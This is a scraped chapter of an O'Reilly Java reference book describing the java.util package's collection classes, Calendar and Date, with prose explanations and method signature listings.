Hierarchy: Object-->StringCharacterIterator(CharacterIterator(Cloneable))

Previous | Home | Next
21.1. The java.security.spec Package | Book Index | 23. The java.util Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.util Package (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 23. The java.util Package

The java.util package defines a number of useful classes, primarily collections classes that are useful for working with groups of objects. This package should not be considered merely a utility package that is separate from the rest of the language; in fact, Java depends directly on several of the classes in this package. Figure 23-1 shows the collection classes of this package, while Figure 23-2 shows the other classes.

Figure 23-1. The collection classes of the java.util package

Figure 23-2. Other classes of the java.util package

The most important classes in java.util are the collections classes. Prior to Java 1.2, these were Vector, a growable list of objects, and Hashtable, a mapping between arbitrary key and value objects. Java 1.2 adds an entire collections framework consisting of the Collection, Map, Set, List, SortedMap, and SortedSet interfaces and the classes that implement them. Other important classes and interfaces of the collections framework are Comparator, Collections, Arrays, Iterator, and ListIterator.

The other classes of the package are also useful. Date, Calendar, and TimeZone work with dates and times. ResourceBundle and its subclasses represent a bundle of localized resources that are read in by an internationalized program at runtime. BitSet implements an arbitrary-size array of bits. Random generates and returns pseudo-random numbers in a variety of forms. StringTokenizer parses a string into tokens. Finally, in Java 1.3, Timer and TimerTask provide a powerful API for scheduling code to be run by a background thread, once or repetitively, at a specified time in the future.

AbstractCollection | Java 1.2
java.util | collection

This abstract class is a partial implementation of Collection that makes it easy to define custom Collection implementations. To create an unmodifiable collection, simply override size() and iterator(). The Iterator object returned by iterator() has to support only the hasNext() and next() methods. To define a modifiable collection, you must additionally override the add() method of AbstractCollection and make sure the Iterator returned by iterator() supports the remove() method. Some subclasses may choose to override other methods to tune performance. In addition, it is conventional that all subclasses provide two constructors: one that takes no arguments and one that accepts a Collection argument that specifies the initial contents of the collection.

Note that if you subclass AbstractCollection directly, you are implementing a bag--an unordered collection that allows duplicate elements. If your add() method rejects duplicate elements, you should subclass AbstractSet instead. See also AbstractList.

public abstract class AbstractCollection implements Collection {
// | Protected Constructors
 | protected AbstractCollection ();
// | Methods Implementing Collection
 | public boolean add (Object o);
 | public boolean addAll (Collection c);
 | public void clear ();
 | public boolean contains (Object o);
 | public boolean containsAll (Collection c);
 | public boolean isEmpty ();
 | public abstract Iterator iterator ();
 | public boolean remove (Object o);
 | public boolean removeAll (Collection c);
 | public boolean retainAll (Collection c);
 | public abstract int size ();
 | public Object[ ] toArray ();
 | public Object[ ] toArray (Object[ ] a);
// | Public Methods Overriding Object
 | public String toString ();
}

Hierarchy: Object-->AbstractCollection(Collection)

Subclasses: AbstractList, AbstractSet

AbstractList | Java 1.2
java.util | collection

This abstract class is a partial implementation of the List interface that makes it easy to define custom List implementations based on random-access list elements (such as objects stored in an array). If you want to base a List implementation on a sequential-access data model (such as a linked list), subclass AbstractSequentialList instead.

To create an unmodifiable List, simply subclass AbstractList and override the (inherited) size() and get() methods. To create a modifiable list, you must also override set() and, optionally, add() and remove(). These three methods are optional, so unless you override them, they simply throw an UnsupportedOperationException. All other methods of the List interface are implemented in terms of size(), get(), set(), add(), and remove(). In some cases, you may want to override these other methods to improve performance. By convention, all List implementations should define two constructors: one that accepts no arguments and another that accepts a Collection of initial elements for the list.

public abstract class AbstractList extends AbstractCollection implements java.util.List {
// | Protected Constructors
 | protected AbstractList ();
// | Methods Implementing List
 | public boolean add (Object o);
 | public void add (int index, Object element);
 | public boolean addAll (int index, Collection c);
 | public void clear ();
 | public boolean equals (Object o);
 | public abstract Object get (int index);
 | public int hashCode ();
 | public int indexOf (Object o);
 | public Iterator iterator ();
 | public int lastIndexOf (Object o);
 | public ListIterator listIterator ();
 | public ListIterator listIterator (int index);
 | public Object remove (int index);
 | public Object set (int index, Object element);
 | public java.util.List subList (int fromIndex, int toIndex);
// | Protected Instance Methods
 | protected void removeRange (int fromIndex, int toIndex);
// | Protected Instance Fields
 | protected transient int modCount ;
}

Hierarchy: Object-->AbstractCollection(Collection)-->AbstractList(java.util.List(Collection))

Subclasses: AbstractSequentialList, ArrayList, Vector

AbstractMap | Java 1.2
java.util | collection

This abstract class is a partial implementation of the Map interface that makes it easy to define simple custom Map implementations. To define an unmodifiable map, subclass AbstractMap and override the entrySet() method so that it returns a set of Map.Entry objects. (Note that you must also implement Map.Entry, of course.) The returned set should not support add() or remove(), and its iterator should not support remove(). In order to define a modifiable Map, you must additionally override the put() method and provide support for the remove() method of the iterator returned by entrySet().iterator(). In addition, it is conventional that all Map implementations define two constructors: one that accepts no arguments and another that accepts a Map of initial mappings.

AbstractMap defines all Map methods in terms of its entrySet() and put() methods and the remove() method of the entry set iterator. Note, however, that the implementation is based on a linear search of the Set returned by entrySet() and is not efficient when the Map contains more than a handful of entries. Some subclasses may want to override additional AbstractMap methods to improve performance. HashMap and TreeMap use different algorithms are are substantially more efficient.

public abstract class AbstractMap implements Map {
// | Protected Constructors
 | protected AbstractMap ();
// | Methods Implementing Map
 | public void clear ();
 | public boolean containsKey (Object key);
 | public boolean containsValue (Object value);
 | public abstract Set entrySet ();
 | public boolean equals (Object o);
 | public Object get (Object key);
 | public int hashCode ();
 | public boolean isEmpty ();
 | public Set keySet ();
 | public Object put (Object key, Object value);
 | public void putAll (Map t);
 | public Object remove (Object key);
 | public int size ();
 | public Collection values ();
// | Public Methods Overriding Object
 | public String toString ();
}

Hierarchy: Object-->AbstractMap(Map)

Subclasses: HashMap, TreeMap, WeakHashMap

AbstractSequentialList | Java 1.2
java.util | collection

This abstract class is a partial implementation of the List interface that makes it easy to define List implementations based on a sequential-access data model, as is the case with the LinkedList subclass. To implement a List based on an array or other random-access model, subclass AbstractList instead.

To implement an unmodifiable list, subclass this class and override the size() and listIterator() methods. listIterator() must return a ListIterator that defines the hasNext(), hasPrevious(), next(), previous(), and index() methods. If you want to allow the list to be modified, the ListIterator should also support the set() method and, optionally, the add() and remove() methods. AbstractSequentialList implements all other List methods in terms of these methods. Some subclasses may want to override additional methods to improve performance. In addition, it is conventional that all List implementations define two constructors: one that accepts no arguments and another that accepts a Collection of initial elements for the list.

public abstract class AbstractSequentialList extends AbstractList {
// | Protected Constructors
 | protected AbstractSequentialList ();
// | Public Methods Overriding AbstractList
 | public void add (int index, Object element);
 | public boolean addAll (int index, Collection c);
 | public Object get (int index);
 | public Iterator iterator ();
 | public abstract ListIterator listIterator (int index);
 | public Object remove (int index);
 | public Object set (int index, Object element);
}

Hierarchy: Object-->AbstractCollection(Collection)-->AbstractList(java.util.List(Collection))-->AbstractSequentialList

Subclasses: LinkedList

AbstractSet | Java 1.2
java.util | collection

This abstract class is a partial implementation of the Set interface that makes it easy to create custom Set implementations. Since Set defines the same methods as Collection, you can subclass AbstractSet exactly as you would subclass AbstractCollection. See AbstractCollection for details. Note, however, that when subclassing AbstractSet, you should be sure that your add() method and your constructors do not allow duplicate elements to be added to the set. See also AbstractList.

public abstract class AbstractSet extends AbstractCollection implements Set {
// | Protected Constructors
 | protected AbstractSet ();
// | Methods Implementing Set
 | public boolean equals (Object o);
 | public int hashCode ();
}

Hierarchy: Object-->AbstractCollection(Collection)-->AbstractSet(Set(Collection))

Subclasses: HashSet, TreeSet

ArrayList | Java 1.2
java.util | cloneable serializable collection

This class is a List implementation based on an array (that is recreated as necessary as the list grows or shrinks). ArrayList implements all optional List and Collection methods and allows list elements of any type (including null). Because ArrayList is based on an array, the get() and set() methods are very efficient. (This is not the case for the LinkedList implementation, for example.) ArrayList is a general-purpose implementation of List and is quite commonly used. ArrayList is very much like the Vector class, except that its methods are not synchronized. If you are using an ArrayList in a multithreaded environment, you should explicitly synchronize any modifications to the list, or wrap the list with Collections.synchronizedList(). See List and Collection for details on the methods of ArrayList. See also LinkedList.

An ArrayList has a capacity, which is the number of elements in the internal array that contains the elements of the list. When the number of elements exceeds the capacity, a new array, with a larger capacity, must be created. In addition to the List and Collection methods, ArrayList defines a couple of methods that help you manage this capacity. If you know in advance how many elements an ArrayList will contain, you can call ensureCapacity(), which can increase efficiency by avoiding incremental reallocation of the internal array. You can also pass an initial capacity value to the ArrayList() constructor. Finally, if an ArrayList has reached its final size and will not change in the future, you can call trimToSize() to reallocate the internal array with a capacity that matches the list size exactly. When the ArrayList will have a long lifetime, this can be a useful technique to reduce memory usage.

public class ArrayList extends AbstractList implements Cloneable, java.util.ListSerializable {
// | Public Constructors
 | public ArrayList (); |
 | public ArrayList (int initialCapacity); |
 | public ArrayList (Collection c); |
// | Public Instance Methods
 | public void ensureCapacity (int minCapacity); |
 | public void trimToSize (); |
// | Methods Implementing List
 | public boolean add (Object o); |
 | public void add (int index, Object element); |
 | public boolean addAll (Collection c); |
 | public boolean addAll (int index, Collection c); |
 | public void clear (); |
 | public boolean contains (Object elem); |
 | public Object get (int index); |
 | public int indexOf (Object elem); |
 | public boolean isEmpty (); | default:true
 | public int lastIndexOf (Object elem); |
 | public Object remove (int index); |
 | public Object set (int index, Object element); |
 | public int size (); |
 | public Object[ ] toArray (); |
 | public Object[ ] toArray (Object[ ] a); |
// | Protected Methods Overriding AbstractList
 | protected void removeRange (int fromIndex, int toIndex); |
// | Public Methods Overriding Object
 | public Object clone (); |
}

Hierarchy: Object-->AbstractCollection(Collection)-->AbstractList(java.util.List(Collection))-->ArrayList(Cloneable,java.util.List(Collection),Serializable)

Type Of: java.awt.dnd.DragGestureRecognizer.events, java.beans.beancontext.BeanContextServicesSupport.bcsListeners, java.beans.beancontext.BeanContextSupport.bcmListeners

Arrays Java 1.2
java.util

This class defines static methods for sorting, searching, and performing other useful operations on arrays. It also defines the asList() method, which returns a List wrapper around a specified array of objects. Any changes made to the List are also made to the underlying array. This is a powerful method that allows any array of objects to be manipulated in any of the ways a List can be manipulated. It provides a link between arrays and the Java collections framework.

The various sort() methods sort an array (or a specified portion of an array) in place. Variants of the method are defined for arrays of each primitive type and for arrays of Object. For arrays of primitive types, the sorting is done according to the natural ordering of the type. For arrays of objects, the sorting is done according to the specified Comparator, or, if the array contains only java.lang.Comparable objects, according to the ordering defined by that interface. When sorting an array of objects, a stable sorting algorithm is used so that the relative ordering of equal objects is not disturbed. (This allows repeated sorts to order objects by key and subkey, for example.)

The binarySearch() methods perform an efficient search (in logarithmic time) of a sorted array for a specified value. If a match is found in the array, binarySearch() returns the index of the match. If no match is found, the method returns a negative number. For a negative return value r, the index -(r+1) specifies the array index at which the specified value can be inserted to maintain the sorted order of the array. When the array to be searched is an array of objects, the elements of the array must all implement java.lang.Comparable, or you must provide a Comparator object to compare them.

The equals() methods test whether two arrays are equal. Two arrays of primitive type are equal if they contain the same number of elements and if corresponding pairs of elements are equal according to the == operator. Two arrays of objects are equal if they contain the same number of elements and if corresponding pairs of elements are equal according to the equals() method defined by those objects. The fill() methods fill an array or a specified range of an array with the specified value.

public class Arrays {
// | No Constructor
// | Public Class Methods
 | public static java.util.List asList (Object[ ] a);
 | public static int binarySearch (short[ ] a, short key);
 | public static int binarySearch (Object[ ] a, Object key);
 | public static int binarySearch (long[ ] a, long key);
 | public static int binarySearch (int[ ] a, int key);
 | public static int binarySearch (double[ ] a, double key);
 | public static int binarySearch (byte[ ] a, byte key);
 | public static int binarySearch (char[ ] a, char key);
 | public static int binarySearch (float[ ] a, float key);
 | public static int binarySearch (Object[ ] a, Object key, Comparator c);
 | public static boolean equals (boolean[ ] a, boolean[ ] a2);
 | public static boolean equals (byte[ ] a, byte[ ] a2);
 | public static boolean equals (float[ ] a, float[ ] a2);
 | public static boolean equals (double[ ] a, double[ ] a2);
 | public static boolean equals (int[ ] a, int[ ] a2);
 | public static boolean equals (long[ ] a, long[ ] a2);
 | public static boolean equals (char[ ] a, char[ ] a2);
 | public static boolean equals (short[ ] a, short[ ] a2);
 | public static boolean equals (Object[ ] a, Object[ ] a2);
 | public static void fill (double[ ] a, double val);
 | public static void fill (char[ ] a, char val);
 | public static void fill (short[ ] a, short val);
 | public static void fill (Object[ ] a, Object val);
 | public static void fill (float[ ] a, float val);
 | public static void fill (byte[ ] a, byte val);
 | public static void fill (int[ ] a, int val);
 | public static void fill (long[ ] a, long val);
 | public static void fill (boolean[ ] a, boolean val);
 | public static void fill (Object[ ] a, int fromIndex, int toIndex, Object val);
 | public static void fill (boolean[ ] a, int fromIndex, int toIndex, boolean val);
 | public static void fill (byte[ ] a, int fromIndex, int toIndex, byte val);
 | public static void fill (float[ ] a, int fromIndex, int toIndex, float val);
 | public static void fill (short[ ] a, int fromIndex, int toIndex, short val);
 | public static void fill (int[ ] a, int fromIndex, int toIndex, int val);
 | public static void fill (long[ ] a, int fromIndex, int toIndex, long val);
 | public static void fill (double[ ] a, int fromIndex, int toIndex, double val);
 | public static void fill (char[ ] a, int fromIndex, int toIndex, char val);
 | public static void sort (char[ ] a);
 | public static void sort (short[ ] a);
 | public static void sort (int[ ] a);
 | public static void sort (byte[ ] a);
 | public static void sort (double[ ] a);
 | public static void sort (float[ ] a);
 | public static void sort (long[ ] a);
 | public static void sort (Object[ ] a);
 | public static void sort (Object[ ] a, Comparator c);
 | public static void sort (short[ ] a, int fromIndex, int toIndex);
 | public static void sort (Object[ ] a, int fromIndex, int toIndex);
 | public static void sort (byte[ ] a, int fromIndex, int toIndex);
 | public static void sort (char[ ] a, int fromIndex, int toIndex);
 | public static void sort (float[ ] a, int fromIndex, int toIndex);
 | public static void sort (double[ ] a, int fromIndex, int toIndex);
 | public static void sort (int[ ] a, int fromIndex, int toIndex);
 | public static void sort (long[ ] a, int fromIndex, int toIndex);
 | public static void sort (Object[ ] a, int fromIndex, int toIndex, Comparator c);
}
BitSet | Java 1.0
java.util | cloneable serializable PJ1.1

This class defines an arbitrarily large set of bits. Instance methods allow you to set, clear, and query individual bits in the set. You can also perform bitwise boolean arithmetic on the bits in BitSet objects. This class can be used as an extremely compact array of boolean values, although reading and writing those values is slower than normal array access.

public class BitSet implements Cloneable, Serializable {
// | Public Constructors
 | public BitSet ();
 | public BitSet (int nbits);
// | Public Instance Methods
 | public void and (BitSet set);
1.2 | public void andNot (BitSet set);
 | public void clear (int bitIndex);
 | public boolean get (int bitIndex);
1.2 | public int length ();
 | public void or (BitSet set);
 | public void set (int bitIndex);
 | public int size ();
 | public void xor (BitSet set);
// | Public Methods Overriding Object
 | public Object clone ();
 | public boolean equals (Object obj);
 | public int hashCode ();
 | public String toString ();
}

Hierarchy: Object-->BitSet(Cloneable,Serializable)

Passed To: BitSet.{and(), andNot(), or(), xor()}, javax.swing.text.html.parser.DTD.defineElement()

Type Of: javax.swing.text.html.parser.Element.{exclusions, inclusions}

Calendar | Java 1.1
java.util | cloneable serializable PJ1.1

This abstract class defines methods that perform date and time arithmetic. It also includes methods that convert dates and times to and from the machine-usable millisecond format used by the Date class and units such as minutes, hours, days, weeks, months, and years that are more useful to humans. As an abstract class, Calendar cannot be directly instantiated. Instead, it provides static getInstance() methods that return instances of a Calendar subclass suitable for use in a specified or default locale with a specified or default time zone. See also Date, DateFormat, and TimeZone.

Calendar defines a number of useful constants. Some of these are values that represent days of the week and months of the year. Other constants, such as HOUR and DAY_OF_WEEK, represent various fields of date and time information. These field constants are passed to a number of Calendar methods, such as get() and set(), in order to indicate what particular date or time field is desired.

setTime() and the various set() methods set the date represented by a Calendar object. The add() method adds (or subtracts) values to a calendar field, incrementing the next larger field when the field being set rolls over. roll() does the same, without modifying anything but the specified field. before() and after() compare two Calendar objects. Many of the methods of the Calendar class are replacements for methods of Date that have been deprecated as of Java 1.1. While the Calendar class converts a time value to its various hour, day, month, and other fields, it is not intended to present those fields in a form suitable for display to the end user. That function is performed by the java.text.DateFormat class, which handles internationalization issues.

public abstract class Calendar implements Cloneable, Serializable {
// | Protected Constructors
 | protected Calendar (); |
 | protected Calendar (TimeZone zone, Locale aLocale); |
// | Public Constants
 | public static final int AM ; | =0
 | public static final int AM_PM ; | =9
 | public static final int APRIL ; | =3
 | public static final int AUGUST ; | =7
 | public static final int DATE ; | =5
 | public static final int DAY_OF_MONTH ; | =5
 | public static final int DAY_OF_WEEK ; | =7
 | public static final int DAY_OF_WEEK_IN_MONTH ; | =8
 | public static final int DAY_OF_YEAR ; | =6
 | public static final int DECEMBER ; | =11
 | public static final int DST_OFFSET ; | =16
 | public static final int ERA ; | =0
 | public static final int FEBRUARY ; | =1
 | public static final int FIELD_COUNT ; | =17
 | public static final int FRIDAY ; | =6
 | public static final int HOUR ; | =10
 | public static final int HOUR_OF_DAY ; | =11
 | public static final int JANUARY ; | =0
 | public static final int JULY ; | =6
 | public static final int JUNE ; | =5
 | public static final int MARCH ; | =2
 | public static final int MAY ; | =4
 | public static final int MILLISECOND ; | =14
 | public static final int MINUTE ; | =12
 | public static final int MONDAY ; | =2
 | public static final int MONTH ; | =2
 | public static final int NOVEMBER ; | =10
 | public static final int OCTOBER ; | =9
 | public static final int PM ; | =1
 | public static final int SATURDAY ; | =7
 | public static final int SECOND ; | =13
 | public static final int SEPTEMBER ; | =8
 | public static final int SUNDAY ; | =1
 | public static final int THURSDAY ; | =5
 | public static final int TUESDAY ; | =3
 | public static final int UNDECIMBER ; | =12
 | public static final int WEDNESDAY ; | =4
 | public static final int WEEK_OF_MONTH ; | =4
 | public static final int WEEK_OF_YEAR ; | =3
 | public static final int YEAR ; | =1
 | public static final int ZONE_OFFSET ; | =15
// | Public Class Methods
 | public static Locale[ ] getAvailableLocales (); | synchronized
 | public static Calendar getInstance (); | synchronized
 | public static Calendar getInstance (Locale aLocale); | synchronized
 | public static Calendar getInstance (TimeZone zone); | synchronized
 | public static Calendar getInstance (TimeZone zone, Locale aLocale); | synchronized
// | Property Accessor Methods (by property name)
 | public int getFirstDayOfWeek (); |
 | public void setFirstDayOfWeek (int value); |
 | public boolean isLenient (); |
 | public void setLenient (boolean lenient); |
 | public int getMinimalDaysInFirstWeek (); |
 | public void setMinimalDaysInFirstWeek (int value); |
 | public final java.util.Date getTime (); |
 | public final void setTime (java.util.Date date); |
 | public TimeZone getTimeZone (); |
 | public void setTimeZone (TimeZone value); |
// | Public Instance Methods
 | public abstract void add (int field, int amount); |
 | public boolean after (Object when); |
 | public boolean before (Object when); |
 | public final void clear (); |
 | public final void clear (int field); |
 | public final int get (int field); |
1.2 | public int getActualMaximum (int field); |
1.2 | public int getActualMinimum (int field); |
 | public abstract int getGreatestMinimum (int field); |
 | public abstract int getLeastMaximum (int field); |
 | public abstract int getMaximum (int field); |
 | public abstract int getMinimum (int field); |
 | public final boolean isSet (int field); |
1.2 | public void roll (int field, int amount); |
 | public abstract void roll (int field, boolean up); |
 | public final void set (int field, int value); |
 | public final void set (int year, int month, int date); |
 | public final void set (int year, int month, int date, int hour, int minute); |
 | public final void set (int year, int month, int date, int hour, int minute, int second); |
// | Public Methods Overriding Object
 | public Object clone (); |
 | public boolean equals (Object obj); |
1.2 | public int hashCode (); |
 | public String toString (); |
// | Protected Instance Methods
 | protected void complete (); |
 | protected abstract void computeFields (); |
 | protected abstract void computeTime (); |
 | protected long getTimeInMillis (); |
 | protected final int internalGet (int field); |
 | protected void setTimeInMillis (long millis); |
// | Protected Instance Fields
 | protected boolean areFieldsSet ; |
 | protected int[ ] fields ; |
 | protected boolean[ ] isSet ; |
 | protected boolean isTimeSet ; |
 | protected long time ; |
}

Hierarchy: Object-->Calendar(Cloneable,Serializable)

Subclasses: GregorianCalendar

Passed To: Too many methods to list.

Returned By: java.text.DateFormat.getCalendar(), Calendar.getInstance()

Type Of: java.text.DateFormat.calendar

Collection | Java 1.2
java.util | collection

This interface represents a group, or collection, of objects. The objects may or may not be ordered, and the collection may or may not contain duplicate objects. Collection is not often implemented directly. Instead, most collection classes implement one of the more specific subinterfaces: Set, an unordered collection that does not allow duplicates, or List, an ordered collection that does allow duplicates.

The Collection type provides a general way to refer to any set, list, or other collection of objects; it defines generic methods that work with any collection. contains() and containsAll() test whether the Collection contains a specified object or all the objects in a given collection. isEmpty() returns true if the Collection has no elements, or false otherwise. size() returns the number of elements in the Collection. iterator() returns an Iterator object that allows you to iterate through the objects in the collection. toArray() returns the objects in the Collection in a new array of type Object. Another version of toArray() takes an array as an argument and stores all elements of the Collection (which must all be compatible with the array) into that array. If the array is not big enough, the method allocates a new, larger array of the same type. If the array is too big, the method stores null into the first empty element of the array. This version of toArray() returns the array that was passed in or the new array, if one was allocated.

The previous methods all query or extract the contents of a collection. The Collection interface also defines methods for modifying the contents of the collection. add() and addAll() add an object or a collection of objects to a Collection. remove() and removeAll() remove an object or collection. retainAll() is a variant that removes all objects except those in a specified Collection. clear() removes all objects from the collection. All these modification methods except clear() return true if the collection was modified as a result of the call. An interface cannot specify constructors, but it is conventional that all implementations of Collection provide at least two standard constructors: one that takes no arguments and creates an empty collection, and a copy constructor that accepts a Collection object that specifies the initial contents of the new Collection.

Implementations of Collection and its subinterfaces are not required to support all operations defined by the Collection interface. All modification methods listed above are optional; an implementation (such as an immutable Set implementation) that does not support them simply throws java.lang.UnsupportedOperationException for these methods. Furthermore, implementations are free to impose restrictions on the types of objects that can be members of a collection. Some implementations might require elements to be of a particular type, for example, and others might not allow null as an element.

See also Set, List, Map, and Collections.

public interface Collection {
// | Public Instance Methods
 | public abstract boolean add (Object o);
 | public abstract boolean addAll (Collection c);
 | public abstract void clear ();
 | public abstract boolean contains (Object o);
 | public abstract boolean containsAll (Collection c);
 | public abstract boolean equals (Object o);
 | public abstract int hashCode ();
 | public abstract boolean isEmpty ();
 | public abstract Iterator iterator ();
 | public abstract boolean remove (Object o);
 | public abstract boolean removeAll (Collection c);
 | public abstract boolean retainAll (Collection c);
 | public abstract int size ();
 | public abstract Object[ ] toArray ();
 | public abstract Object[ ] toArray (Object[ ] a);
}

Implementations: java.beans.beancontext.BeanContext, AbstractCollection, java.util.List, Set

Passed To: Too many methods to list.

Returned By: java.awt.RenderingHints.values(), java.security.Provider.values(), java.security.cert.CertificateFactory.{generateCertificates(), generateCRLs()}, java.security.cert.CertificateFactorySpi.{engineGenerateCertificates(), engineGenerateCRLs()}, AbstractMap.values(), Collections.{synchronizedCollection(), unmodifiableCollection()}, HashMap.values(), Hashtable.values(), Map.values(), TreeMap.values(), java.util.jar.Attributes.values()

Type Of: java.beans.beancontext.BeanContextMembershipEvent.children

Collections Java 1.2
java.util

This class defines static methods and constants that are useful for working with collections and maps. One of the most commonly used methods is sort(), which sorts a List in place (the list cannot be immutable, of course). The sorting algorithm is stable, which means that equal elements retain the same relative order. One version of sort() uses a specified Comparator to perform the sort; the other relies on the natural ordering of the list elements and requires all the elements to implement java.lang.Comparable.

A related method is binarySearch(). It efficiently (in logarithmic time) searches a sorted List for a specified object and returns the index at which a matching object is found. If no match is found, it returns a negative number. For a negative return value r, the value -(r+1) specifies the index at which the specified object can be inserted into the list to maintain the sorted order of the list. As with sort(), binarySearch() can be passed a Comparator that defines the order of the sorted list. If no Comparator is specified, the list elements must all implement Comparable, and the list is assumed to be sorted according to the natural ordering defined by this interface.

The various methods whose names begin with synchronized return a thread-safe collection object wrapped around the specified collection. Vector and Hashtable are the only two collection objects thread-safe by default. Use these methods to obtain a synchronized wrapper object if you are using any other type of Collection or Map in a multithreaded environment where more than one thread can modify it.

The various methods whose names begin with unmodifiable function like synchronized methods. They return a Collection or Map object wrapped around the specified collection. The returned object is unmodifiable, however, so its add(), remove(), set(), put(), etc., methods all throw java.lang.UnsupportedOperationException.

The Collections class also defines a number of miscellanous methods. copy() copies elements of a source list into a destination list. enumeration() returns an Enumeration for a Collection, which is useful when working with code that uses the old Enumeration interface instead of the newer Iterator interface. fill() replaces all elements of the specified list with the specified object. The min() and max() methods search an unordered Collection for the minimum and maximum elements, according either to a specified Comparator or to the natural order defined by the Comparable elements themselves. nCopies() creates a new immutable List that contains a specified number of copies of a specified object. reverse() reverses the order of the elements in a list. This method operates in place and therefore does not work for immutable lists. reverseOrder() returns a convenient predefined Comparator object that can order Comparable objects into the reverse of their natural ordering. shuffle() randomizes the order of elements in a list, using either an internal source of randomness or the Random pseudo-random number generator you provide. singleton() returns an unmodifiable set that contains only the specified object. The Collections class also defines two related constants, EMPTY_LIST and EMPTY_SET, which are immutable List and Set objects that contain no elements. In Java 1.3, singletonList() and singletonMap() return an immutable list and an immutable map, respectively, each of which contains only a single entry. The Collections class also defines related constants, EMPTY_LIST, EMPTY_SET, and EMPTY_MAP (in Java 1.3), which are immutable List, Set, and Map objects that contain no elements.

See Arrays for methods that perform sorting and searching operations on arrays instead of collections.

public class Collections {
// | No Constructor
// | Public Constants
 | public static final java.util.List EMPTY_LIST ;
1.3 | public static final Map EMPTY_MAP ;
 | public static final Set EMPTY_SET ;
// | Public Class Methods
 | public static int binarySearch (java.util.List list, Object key);
 | public static int binarySearch (java.util.List list, Object key, Comparator c);
 | public static void copy (java.util.List dest, java.util.List src);
 | public static Enumeration enumeration (Collection c);
 | public static void fill (java.util.List list, Object o);
 | public static Object max (Collection coll);
 | public static Object max (Collection coll, Comparator comp);
 | public static Object min (Collection coll);
 | public static Object min (Collection coll, Comparator comp);
 | public static java.util.List nCopies (int n, Object o);
 | public static void reverse (java.util.List l);
 | public static Comparator reverseOrder ();
 | public static void shuffle (java.util.List list);
 | public static void shuffle (java.util.List list, Random rnd);
 | public static Set singleton (Object o);
1.3 | public static java.util.List singletonList (Object o);
1.3 | public static Map singletonMap (Object key, Object value);
 | public static void sort (java.util.List list);
 | public static void sort (java.util.List list, Comparator c);
 | public static Collection synchronizedCollection (Collection c);
 | public static java.util.List synchronizedList (java.util.List list);
 | public static Map synchronizedMap (Map m);
 | public static Set synchronizedSet (Set s);
 | public static SortedMap synchronizedSortedMap (SortedMap m);
 | public static SortedSet synchronizedSortedSet (SortedSet s);
 | public static Collection unmodifiableCollection (Collection c);
 | public static java.util.List unmodifiableList (java.util.List list);
 | public static Map unmodifiableMap (Map m);
 | public static Set unmodifiableSet (Set s);
 | public static SortedMap unmodifiableSortedMap (SortedMap m);
 | public static SortedSet unmodifiableSortedSet (SortedSet s);
}
Comparator Java 1.2
java.util

This interface defines a compare() method that specifies a total ordering for a set of objects, allowing those objects to be sorted. The Comparator is used when the objects to be ordered do not have a natural ordering defined by the Comparable interface, or when you want to order them using something other than their natural ordering.

The compare() method is passed two objects. If the first argument is less than the second argument or should be placed before the second argument in a sorted list, compare() should return a negative integer. If the first argument is greater than the second argument or should be placed after the second argument in a sorted list, compare() should return a positive integer. If the two objects are equivalent or if their relative position in a sorted list does not matter, compare() should return 0. Comparator implementations may assume that both Object arguments are of appropriate types and cast them as desired. If either argument is not of the expected type, the compare() method throws a ClassCastException.

Note that the magnitude of the numbers returned by compare() does not matter, only whether they are less than, equal to, or greater than zero. In most cases, you should implement a Comparator so that compare(o1,o2) returns 0 if and only if o1.equals(o2) returns true. This is particularly important when using a Comparator to impose an ordering on a TreeSet or a TreeMap.

See Collections and Arrays for various methods that use Comparator objects for sorting and searching. See also the related java.lang.Comparable interface.

public interface Comparator {
// | Public Instance Methods
 | public abstract int compare (Object o1, Object o2);
 | public abstract boolean equals (Object obj);
}

Implementations: java.text.Collator

Passed To: Arrays.{binarySearch(), sort()}, Collections.{binarySearch(), max(), min(), sort()}, TreeMap.TreeMap(), TreeSet.TreeSet()

Returned By: Collections.reverseOrder(), SortedMap.comparator(), SortedSet.comparator(), TreeMap.comparator(), TreeSet.comparator()

Type Of: String.CASE_INSENSITIVE_ORDER

ConcurrentModificationException | Java 1.2
java.util | serializable unchecked

Signals that a modification has been made to a data structure at the same time some other operation is in progress and that, as a result, the correctness of the ongoing operation cannot be guaranteed. It is typically thrown by an Iterator or ListIterator object to stop an iteration if it detects that the underlying collection has been modified while the iteration is in progress.

public class ConcurrentModificationException extends RuntimeException {
// | Public Constructors
 | public ConcurrentModificationException ();
 | public ConcurrentModificationException (String message);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->ConcurrentModificationException

Date | Java 1.0
java.util | cloneable serializable comparable PJ1.1

This class represents dates and times and lets you work with them in a system-independent way. You can create a Date by specifying the number of milliseconds from the epoch (midnight GMT, January 1st, 1970) or the year, month, date, and, optionally, the hour, minute, and second. Years are specified as the number of years since 1900. If you call the Date constructor with no arguments, the Date is initialized to the current time and date. The instance methods of the class allow you to get and set the various date and time fields, to compare dates and times, and to convert dates to and from string representations. As of Java 1.1, many of the date methods have been deprecated in favor of the methods of the Calendar class.

public class Date implements Cloneable, Comparable, Serializable {
// | Public Constructors
 | public Date ();
# | public Date (String s);
 | public Date (long date);
# | public Date (int year, int month, int date);
# | public Date (int year, int month, int date, int hrs, int min);
# | public Date (int year, int month, int date, int hrs, int min, int sec);
// | Property Accessor Methods (by property name)
 | public long getTime ();
 | public void setTime (long time);
// | Public Instance Methods
 | public boolean after (java.util.Date when);
 | public boolean before (java.util.Date when);
1.2 | public int compareTo (java.util.Date anotherDate);
// | Methods Implementing Comparable
1.2 | public int compareTo (Object o);
// | Public Methods Overriding Object
1.2 | public Object clone ();
 | public boolean equals (Object obj);
 | public int hashCode ();
 | public String toString ();
// | Deprecated Public Methods
# | public int getDate ();
# | public int getDay ();
# | public int getHours ();
# | public int getMinutes ();
# | public int getMonth ();
# | public int getSeconds ();
# | public int getTimezoneOffset ();
# | public int getYear ();
# | public static long parse (String s);
# | public void setDate (int date);
# | public void setHours (int hours);
# | public void setMinutes (int minutes);
# | public void setMonth (int month);
# | public void setSeconds (int seconds);
# | public void setYear (int year);
# | public String toGMTString ();
# | public String toLocaleString ();
# | public static long UTC (int year, int month, int date, int hrs, int min, int sec);
}

Hierarchy: Object-->java.util.Date(Cloneable,Comparable,Serializable)

Subclasses: java.sql.Date, java.sql.Time, java.sql.Timestamp

